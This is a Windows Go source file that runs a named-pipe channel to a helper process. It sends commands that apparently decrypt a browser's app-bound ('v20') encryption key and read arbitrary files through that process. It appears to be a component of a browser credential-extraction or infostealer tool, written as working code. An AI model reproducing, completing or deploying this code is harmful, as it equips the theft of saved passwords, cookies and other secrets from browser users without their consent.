294 lines
6.7 KiB
Go
294 lines
6.7 KiB
Go
//go:build windows
|
|
|
|
package platform
|
|
|
|
import (
|
|
"crypto/rand"
|
|
"encoding/hex"
|
|
"fmt"
|
|
"sync"
|
|
"syscall"
|
|
"time"
|
|
"unsafe"
|
|
|
|
"golang.org/x/sys/windows"
|
|
)
|
|
|
|
type PipeSession struct {
|
|
mu sync.Mutex
|
|
hPipe windows.Handle
|
|
hProcess windows.Handle
|
|
pid uint32
|
|
ownsProcess bool
|
|
job windows.Handle
|
|
closed bool
|
|
}
|
|
|
|
var (
|
|
modKernel32Pipe = windows.NewLazySystemDLL("kernel32.dll")
|
|
modAdvapi32 = windows.NewLazySystemDLL("advapi32.dll")
|
|
|
|
procCreateNamedPipeW = modKernel32Pipe.NewProc("CreateNamedPipeW")
|
|
procConnectNamedPipe = modKernel32Pipe.NewProc("ConnectNamedPipe")
|
|
procDisconnectNamedPipe = modKernel32Pipe.NewProc("DisconnectNamedPipe")
|
|
procWaitForSingleObject = modKernel32Pipe.NewProc("WaitForSingleObject")
|
|
procPeekNamedPipe = modKernel32Pipe.NewProc("PeekNamedPipe")
|
|
)
|
|
|
|
func createPipeName() string {
|
|
b := make([]byte, 8)
|
|
rand.Read(b)
|
|
return fmt.Sprintf(`\\.\pipe\%s`, hex.EncodeToString(b))
|
|
}
|
|
|
|
func createPipeServer(pipeName string) (windows.Handle, error) {
|
|
namePtr, err := syscall.UTF16PtrFromString(pipeName)
|
|
if err != nil {
|
|
return 0, err
|
|
}
|
|
|
|
const (
|
|
PIPE_ACCESS_DUPLEX = 0x3
|
|
PIPE_TYPE_BYTE = 0x0
|
|
PIPE_READMODE_BYTE = 0x0
|
|
PIPE_WAIT = 0x0
|
|
PIPE_UNLIMITED_INSTANCES = 0xFF
|
|
)
|
|
|
|
r, _, err := procCreateNamedPipeW.Call(
|
|
uintptr(unsafe.Pointer(namePtr)),
|
|
PIPE_ACCESS_DUPLEX|windows.FILE_FLAG_OVERLAPPED,
|
|
PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT,
|
|
PIPE_UNLIMITED_INSTANCES,
|
|
65536, // output buffer
|
|
65536, // input buffer
|
|
15000, // timeout ms
|
|
0,
|
|
)
|
|
if r == ^uintptr(0) {
|
|
return 0, fmt.Errorf("CreateNamedPipeW: %w", err)
|
|
}
|
|
return windows.Handle(r), nil
|
|
}
|
|
|
|
func waitPipeConnect(hPipe windows.Handle, timeoutMs uint32) error {
|
|
hEvent, err := windows.CreateEvent(nil, 1, 0, nil)
|
|
if err != nil {
|
|
return fmt.Errorf("CreateEvent: %w", err)
|
|
}
|
|
defer windows.CloseHandle(hEvent)
|
|
|
|
ov := windows.Overlapped{HEvent: hEvent}
|
|
|
|
r, _, err := procConnectNamedPipe.Call(uintptr(hPipe), uintptr(unsafe.Pointer(&ov)))
|
|
if r != 0 {
|
|
return nil // already connected
|
|
}
|
|
|
|
if err == windows.ERROR_PIPE_CONNECTED {
|
|
return nil
|
|
}
|
|
|
|
if err != windows.ERROR_IO_PENDING {
|
|
return fmt.Errorf("ConnectNamedPipe: %w", err)
|
|
}
|
|
|
|
ret, _, _ := procWaitForSingleObject.Call(uintptr(hEvent), uintptr(timeoutMs))
|
|
if ret != uintptr(windows.WAIT_OBJECT_0) {
|
|
return fmt.Errorf("pipe connect timeout")
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func (s *PipeSession) pipeSend(data []byte) error {
|
|
s.mu.Lock()
|
|
defer s.mu.Unlock()
|
|
|
|
if s.closed {
|
|
return fmt.Errorf("pipe session closed")
|
|
}
|
|
|
|
length := uint32(len(data))
|
|
lengthBytes := []byte{
|
|
byte(length),
|
|
byte(length >> 8),
|
|
byte(length >> 16),
|
|
byte(length >> 24),
|
|
}
|
|
|
|
var written uint32
|
|
err := windows.WriteFile(s.hPipe, lengthBytes, &written, nil)
|
|
if err != nil || written != 4 {
|
|
return fmt.Errorf("write length: %w", err)
|
|
}
|
|
|
|
if length > 0 {
|
|
var totalWritten uint32
|
|
for totalWritten < length {
|
|
var n uint32
|
|
err = windows.WriteFile(s.hPipe, data[totalWritten:], &n, nil)
|
|
if err != nil || n == 0 {
|
|
return fmt.Errorf("write data: %w", err)
|
|
}
|
|
totalWritten += n
|
|
}
|
|
}
|
|
|
|
return nil
|
|
}
|
|
|
|
func (s *PipeSession) pipeRecv() (status byte, data []byte, err error) {
|
|
s.mu.Lock()
|
|
defer s.mu.Unlock()
|
|
|
|
if s.closed {
|
|
return 0, nil, fmt.Errorf("pipe session closed")
|
|
}
|
|
|
|
var lengthBuf [4]byte
|
|
var totalRead uint32
|
|
deadline := time.Now().Add(10 * time.Second)
|
|
|
|
for totalRead < 4 {
|
|
if time.Now().After(deadline) {
|
|
return 0, nil, fmt.Errorf("pipe recv timeout")
|
|
}
|
|
|
|
var avail uint32
|
|
r, _, _ := procPeekNamedPipe.Call(uintptr(s.hPipe), 0, 0, 0, uintptr(unsafe.Pointer(&avail)), 0)
|
|
if r == 0 {
|
|
return 0, nil, fmt.Errorf("PeekNamedPipe failed")
|
|
}
|
|
if avail < 4-totalRead {
|
|
time.Sleep(50 * time.Millisecond)
|
|
continue
|
|
}
|
|
|
|
var n uint32
|
|
err = windows.ReadFile(s.hPipe, lengthBuf[totalRead:4], &n, nil)
|
|
if err != nil || n == 0 {
|
|
return 0, nil, fmt.Errorf("read length: %w", err)
|
|
}
|
|
totalRead += n
|
|
}
|
|
|
|
totalLen := uint32(lengthBuf[0]) | uint32(lengthBuf[1])<<8 | uint32(lengthBuf[2])<<16 | uint32(lengthBuf[3])<<24
|
|
if totalLen < 1 || totalLen > 100*1024*1024 {
|
|
return 0, nil, fmt.Errorf("invalid message length: %d", totalLen)
|
|
}
|
|
|
|
buf := make([]byte, totalLen)
|
|
totalRead = 0
|
|
for totalRead < totalLen {
|
|
var n uint32
|
|
err = windows.ReadFile(s.hPipe, buf[totalRead:], &n, nil)
|
|
if err != nil || n == 0 {
|
|
return 0, nil, fmt.Errorf("read data: %w", err)
|
|
}
|
|
totalRead += n
|
|
}
|
|
|
|
status = buf[0]
|
|
data = buf[1:]
|
|
return status, data, nil
|
|
}
|
|
|
|
func (s *PipeSession) Close() {
|
|
s.mu.Lock()
|
|
defer s.mu.Unlock()
|
|
|
|
if s.closed {
|
|
return
|
|
}
|
|
s.closed = true
|
|
|
|
s.sendExitLocked()
|
|
|
|
time.Sleep(100 * time.Millisecond)
|
|
|
|
procDisconnectNamedPipe.Call(uintptr(s.hPipe))
|
|
windows.CloseHandle(s.hPipe)
|
|
|
|
if s.ownsProcess && s.hProcess != 0 {
|
|
if s.job != 0 {
|
|
windows.CloseHandle(s.job)
|
|
s.job = 0
|
|
}
|
|
windows.TerminateProcess(s.hProcess, 0)
|
|
windows.WaitForSingleObject(s.hProcess, 3000)
|
|
windows.CloseHandle(s.hProcess)
|
|
} else if s.hProcess != 0 {
|
|
windows.CloseHandle(s.hProcess)
|
|
}
|
|
}
|
|
|
|
func (s *PipeSession) watchExit(label string, timeoutMs uint32) {
|
|
h := s.hProcess
|
|
if h == 0 {
|
|
return
|
|
}
|
|
go func() {
|
|
ret, _, _ := procWaitForSingleObject.Call(uintptr(h), uintptr(timeoutMs))
|
|
if ret != uintptr(windows.WAIT_OBJECT_0) {
|
|
return
|
|
}
|
|
s.mu.Lock()
|
|
wasClosed := s.closed
|
|
s.mu.Unlock()
|
|
if wasClosed {
|
|
return
|
|
}
|
|
var code uint32
|
|
if err := windows.GetExitCodeProcess(h, &code); err != nil {
|
|
return
|
|
}
|
|
logf("process %d (%s) died before pipe connect (exit code 0x%08x)", s.pid, label, code)
|
|
}()
|
|
}
|
|
|
|
func (s *PipeSession) sendExitLocked() {
|
|
exitCmd := []byte("EXIT")
|
|
length := uint32(len(exitCmd))
|
|
lengthBytes := []byte{byte(length), byte(length >> 8), byte(length >> 16), byte(length >> 24)}
|
|
windows.WriteFile(s.hPipe, lengthBytes, nil, nil)
|
|
windows.WriteFile(s.hPipe, exitCmd, nil, nil)
|
|
}
|
|
|
|
func (s *PipeSession) GetV20Key(browserName string, encKeyBase64 string) ([]byte, error) {
|
|
cmd := fmt.Sprintf("KEY:%s:%s", browserName, encKeyBase64)
|
|
if err := s.pipeSend([]byte(cmd)); err != nil {
|
|
return nil, fmt.Errorf("send KEY command: %w", err)
|
|
}
|
|
|
|
status, data, err := s.pipeRecv()
|
|
if err != nil {
|
|
return nil, fmt.Errorf("recv KEY response: %w", err)
|
|
}
|
|
|
|
if status != 0 {
|
|
return nil, fmt.Errorf("decrypt failed: %s", string(data))
|
|
}
|
|
|
|
return data, nil
|
|
}
|
|
|
|
func (s *PipeSession) ReadFile(path string) ([]byte, error) {
|
|
cmd := fmt.Sprintf("READ:%s", path)
|
|
if err := s.pipeSend([]byte(cmd)); err != nil {
|
|
return nil, fmt.Errorf("send READ command: %w", err)
|
|
}
|
|
|
|
status, data, err := s.pipeRecv()
|
|
if err != nil {
|
|
return nil, fmt.Errorf("recv READ response: %w", err)
|
|
}
|
|
|
|
if status != 0 {
|
|
return nil, fmt.Errorf("read failed: %s", string(data))
|
|
}
|
|
|
|
return data, nil
|
|
}
|
|
|
|
var ActivePipeSession *PipeSession
|